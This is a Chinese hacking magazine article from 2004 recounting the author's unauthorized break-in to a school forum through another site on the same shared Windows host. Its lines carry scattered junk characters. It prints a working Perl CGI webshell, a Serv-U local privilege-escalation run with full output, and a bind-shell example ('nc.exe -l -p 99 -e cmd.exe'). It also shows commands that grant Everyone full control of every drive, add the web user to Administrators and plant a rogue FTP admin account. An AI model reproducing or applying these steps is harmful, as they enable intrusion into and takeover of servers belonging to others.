剑走偏锋——灵巧的旁注攻击
% ?7 e7 `& V1 c1 X' E9 N" B' X. Z本文作者:angel
4 i0 L* M+ n/ R4 d$ I文章性质:原创" q/ }4 t5 @ _. p8 s6 H. P2 G
发布日期:2004-11-09 * t0 @- w$ [& o' Q9 N1 t2 x' `
注意:
& {/ P5 R9 \& ^, J$ z本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。: {' N) C; a, t4 a; H4 [
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
" J* p* J/ t( r3 F) T0 f; j/ w$ }" Z
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 : @! `# X* ~* e. J* L. c
& T, D; `, }; s9 D
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 " R- \# y8 G0 O( t; N
' F" O5 Q3 i' O/ Y& t 不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
/ j- F) ~- g! A; X4 \0 t( M" }; l2 x+ ?8 S+ m7 T# B1 g
一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 & l7 X0 ^ h: J- t& ?8 C
$ l+ E' j m7 g6 q' G) o z0 S
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
( u2 _+ k# {, B4 L* }8 f1 _1 r2 z# Q3 b& ^' `( \
没有目的的跳转目录着…… 8 m$ A( c& s! I8 p1 O! I2 A
; T8 l$ m) Y6 p/ K
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… 7 u) A1 U6 n! X% y! e# g) i% F8 ^
; `- r3 b P) L' y% n# V! y 结束了吗?不,我试着 FTP 一下: . U# j& Y: B& V+ ~
) G0 S4 J: a+ a6 ~- xMicrosoft Windows 2000 [Version 5.00.2195]
7 b/ k- A! y. b$ [3 L- w p(C) 版权所有 1985-2000 Microsoft Corp.
- }4 L. P8 @8 ^- U6 e6 w* }0 h0 Z9 L6 e5 d8 P7 d& i) l
C:\Documents and Settings\Administrator>ftp www.school.com
$ u4 i8 E# d; e* F" i4 mConnected to www. school.com.
: [, T1 Z5 c* N l/ {- C i$ X220 Welcome to FTP Server...
( O( ]7 N# h0 q1 S" eUser (www.bjtrq.com:(none)): : I) t' s) W' c' S l, ]/ K5 v5 h
331 User name okay, need password.
8 x. F, {8 J0 o" {( R6 E% \Password: ~3 l) D4 d8 l$ Y/ \: }
530 Not logged in.
) G8 V, b: J0 J GLogin failed. : B' J( }, P1 B
ftp> bye
+ H I; o/ B R; D/ t& d4 a221 Goodbye!
8 Y! l1 F2 {5 m4 K1 @9 _& M( P# K7 ~6 Y / y1 \4 u! w6 d# G# ]4 w
2 |; g% S, {) |3 Z0 [ ~4 d6 w+ E 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
, Q9 G* F& a5 F8 v. M7 \) i. Z. k7 M1 m
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
& p4 g7 H- U' r6 x8 |6 L3 Q- G0 I+ D1 y- L4 ?5 k8 B
Application Data0 `* X3 O, d# C6 q) Y1 ]5 r4 `5 U
Documents4 }0 U7 H, W6 n; |1 a8 B
DRM& Y+ x+ f3 M8 C8 R6 r7 {5 c$ y
Favorites2 w/ }- i2 g' c2 L0 M
Templates
/ |5 s# E" L1 {3 P$ h「开始」菜单
% N4 g. h0 e" X5 j. ~' u! \桌面% J! U9 c( J1 A5 V
/ m0 N+ @$ S6 J, t! l2 ^. ?0 r
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, & d9 e. g! B) M/ h$ Y' ]
5 t5 V' U8 ?2 F, M$ N9 h5 k
ActiveState ActivePerl 5.8: S, |& r' s& S5 d& o" Z
Administrative Tools: [. b$ t; ~. j+ L3 R, \0 C' `# ]
Deerfield.com
3 A7 y* z) @. T- ?DTemp' b; f2 J: ~' A2 j
IPSentry1 u% H; k2 [5 g" f# p( q, z
MBM 5
4 f0 \2 n' K2 W; s& aNetMeter% o7 U f, B' J( h" ]
Network ICE
! A" ?1 F' r* k8 X& F4 U, QPersits Software AspEmail; ?: ]* N' | v0 f/ x( z
Persits Software AspJpeg
5 I3 @( ]& J6 Y# V9 @- wServ-U FTP Server
6 v+ l, y0 p3 d9 ISymantec Client Security' I# o3 J% f$ P5 {2 J& L
Windows 优化大师
& I2 x- _) S" i4 l1 h+ tWinRAR9 U9 N% a B' O! t6 e2 U
启动, Z) p; {0 j; n0 U8 b5 _
管理工具% N: u+ ]0 u* s& s' }( p$ ^
附件
0 F! S$ w+ n8 G+ M $ G8 _2 t/ V& Z7 J6 ]- g
O, M3 l* R* N
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
, g N4 G' G/ H( S% g) Y9 p
/ m7 m0 L' @3 [" W; Z( ~0 H6 F 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
. {0 i; L# F. c, O, t- G- x7 I! \' n# U1 w8 D( q& J
User281=angel|1|0
3 i5 X' j) }9 z* b* d5 e 8 d2 W" e2 Q$ H2 ]
* n1 i9 t" F0 X) s 然后加上
% J4 z- F4 u: M/ t4 S, b: Q) e# ]/ S3 H7 R0 I g1 A
[USER=angel|1]
/ J" G4 T. j N/ m' Q4 \+ @Password=ng98F85379EA68DBF97BAADCA99B69B8050 O+ I( E6 m' X0 k2 Z: G
HomeDir=D:\websites
" `! O5 e9 S. wRelPaths=1: u6 b4 k5 N' v$ p
TimeOut=600' ?2 g& `1 I: b! d# G) s9 V+ F
Maintenance=System/ g' N* y4 e) E7 h/ ?
Access1=D:\websites|RWAMELCDP/ a. m" U( C6 b+ k2 Y& D
SKEYValues=
# t+ ~* i1 I4 x" O1 G* ?+ c
! @; L6 K" V* s! u! ]
7 ]5 V* J$ h0 i5 K( x0 k 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
$ o& X X7 i" {0 f0 Y$ q! D: h8 |* X% W
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
! K) Y4 ?+ B/ z, H/ S( X2 M, Y; R, E/ |0 T. i: |
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
* {0 U h0 L. ~) T; Z+ `1 Z+ ?% v( b3 O
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: 3 z5 j7 s( e" v1 ~# [1 A
! b# R9 f W( f: V4 G) E
#!/usr/bin/perl
0 _/ j* z( Y( E0 }3 |& f! xbinmode(STDOUT);) A: B( E& P6 R
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);! V8 t& p/ ^) S% g) @8 N: M
$_ = $ENV{QUERY_STRING};3 ^* Z* f$ l) V6 z P# H
s/%20/ /ig;
* z8 \# ]: r* D- L& W {- Zs/%2f/\//ig;
- A3 {; ~: q5 A. f0 Z$execthis = $_;% r/ K$ p- ?4 g+ N+ n/ h$ a
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
( A% F5 q6 |5 {$ B, j9 ]. q3 lopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
! x3 a' \& T- z! usystem($execthis);
, \# A& W# X- X* W; z) xsyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
: X2 P- A0 f% c @) |+ b4 sclose(STDERR);8 D1 Q/ ?) g- l1 X' ~4 L9 F5 w
close(STDOUT);
7 N( G, g6 d1 ?' q% K# \exit;" A/ Q. L0 A0 W, q" `
2 C8 A# f( O4 O4 C3 q
# \! l3 D7 W+ D9 q 我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
3 f" X( a1 r1 r0 S$ x9 [3 l4 R _# @0 f2 d+ C" }, A
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
( @0 ^: L K, u7 p3 U8 n3 W2 @9 j U, e7 d! o& A: m( b4 u
http://anyhost//cmd.pl?d:\user\bin\su.exe
0 U# t# s) @8 k( U h8 _6 [3 d & @$ ?4 q! a' Z
4 K W4 c( x0 z3 b" o
返回: + w8 S+ P% s+ @4 A) ^; z
+ U; T/ f! ^( F# G* T
Serv-u >3.x Local Exploit by xiaolu
: H3 A& B+ a- ~* F( g- t* b0 N! `7 e0 z! h5 M
USAGE: serv-u.exe "command"
3 x' J6 b" R" Y* z+ h. H% }( F: S1 L
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
$ V* m/ O l; P3 J
4 A8 j* m+ T8 Y; h; K
* F6 @, S; D9 \$ r+ r 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: ' W8 W: p& ~0 L+ E) X- | D5 P v0 c
6 F7 H/ [# u) s' i$ w1 ^3 A
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
3 _& b- S! g$ u2 y8 Q) y/ J
" J1 q3 O9 F( O6 G1 Y9 y4 b4 ?http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" # e l3 {- D) g) u3 K
7 g. ^# [: b. L5 m! R
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
P1 A( w2 c, F7 e7 R) w, o! V/ o
+ m0 A- D$ \5 L! o) thttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" $ v5 ]$ e% q4 z( x' D
) X2 F- ^* t# D/ y# V
( Q; s9 g9 {$ b9 ^) k
返回下面的信息,就表示成功了!!!
d0 h$ H0 e# ^9 x( z
; `# I8 v9 G' a+ Z$ L$ S; t* R+ o9 X. @Serv-u >3.x Local Exploit by xiaolu
, D( H# s! {8 G0 G+ B
( {& c* F* V2 }<220 Serv-U FTP Server v5.2 for WinSock ready...
6 R6 ]3 F( P3 ]1 L9 g z% |& D; k8 s7 L/ n3 V5 H
>USER LocalAdministrator
; g' ^3 O% C( @7 o, b' z1 _9 [, D; O3 |2 f. Z& k1 z: K5 F8 Z
<331 User name okay, need password.
* N0 Z( ^2 v' ~; c# x1 ]$ q! t
2 B& l& U* f3 |7 Q) ^8 O******************************************************
# d% R# P& r' H) y* k: J4 ]5 W6 }9 k( E+ Q
>PASS #l@$ak#.lk;0@P 6 w6 ~0 h" A$ b& v5 ^9 Q
3 A$ v0 r9 g* c* h6 t<230 User logged in, proceed. 1 l. |7 z: M( i$ V; [9 z& u
3 o$ I* g9 t7 r* F; [- | p******************************************************
- W+ j/ N* h6 R3 I" f# D& h. Q4 L
, r- H- ]6 K/ a& w>SITE MAINTENANCE
9 ]0 ]( @- x- k4 G* `: ^7 O
" z& o7 K0 u0 c- B( Z5 r****************************************************** " Q. c; w2 u2 \' Z
3 ^0 M( l! ^! ?! `[+] Creating New Domain...
( P _- G# c$ P6 n& w; k9 g2 x8 f m7 A! _/ c+ b3 _
<200-DomainID=2 1 `* G* C- |) y" W
' w, _: K7 E# _6 r' }* l1 j1 ^# C4 J# [) l<220 Domain settings saved
+ w4 R, W6 D' v) ?1 a
) g: f5 ?+ }0 [" d******************************************************
: C5 R. l! K& J+ w
2 x" @; z* B1 \9 p% W9 Y2 @, h# q[+] Domain xl:2 Created $ ^( O) B- e5 Z8 o# ~
$ [6 W3 H! d% j# Y% d[+] Creating Evil User ) n9 Y8 @; k0 N- i! f
2 A4 v2 I. K7 H& h$ R7 J; J<200-User=xl # ~9 c# i* b+ n$ `: M% _
% y/ q& ]7 v2 B
200 User settings saved
) H6 Q0 {! L$ y" b( Q
. V# p# ~! e5 j7 s+ k******************************************************
+ ~- J+ q+ A: G8 D% F- X$ i7 s# c0 n' E1 v1 n% |& Q
[+] Now Exploiting... ' p/ G) v& u, H F7 d3 r
+ g4 q* R. v$ u; t' }
>USER xl # h2 g* s7 b$ v/ D+ ?" e m4 L
" J9 i) g$ H& f# D& m<331 User name okay, need password.
& H5 V. ?/ N, H) t( v9 J1 e" P, |4 l: J. o2 H' ]5 O9 V1 ]8 E. `2 w
****************************************************** 1 E: I4 ~, S% r5 n, \' }$ I
0 {" t, f' M. K# r, Q$ A: W
>PASS 111111
) t$ e, D( d1 v, E0 X0 g
# d+ H' S& \$ E5 s& g7 d<230 User logged in, proceed.
" C# H" \* }9 I; j5 }' u0 s1 Z/ e; m- P4 U4 V! V, B
****************************************************** " l! k0 ]5 V' c" c2 u1 }
- q7 { }8 [& z' N! s& i1 U
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
6 ~0 K5 R9 S- m1 J0 s! {! _; W" k/ x
<220 Domain deleted
0 T% x) \* m( ~+ W. E% z6 t+ @! }( e% e7 f# H3 |& O/ u
****************************************************** 8 t1 _: r+ @; }; `1 O, v
% g7 g: a# [( o2 v5 h2 w
+ r& O1 t( W; o7 w) d 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: ) }5 P1 }& }* ?8 X: @
$ R% V, c% g/ @: r9 Uhttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
& r, s7 u0 J9 F! z0 V. { h 1 G0 h }! E. o# c
6 H, T7 X. R4 A
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 * e+ t r6 P# P% J, D/ c! _
" V1 D& _, G' b3 M3 j6 n q
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。 O/ i h1 R8 O1 t5 F
H7 l. U- r. A2 C/ {2 z. {4 ` R. w
- I4 S3 x( q4 v! x |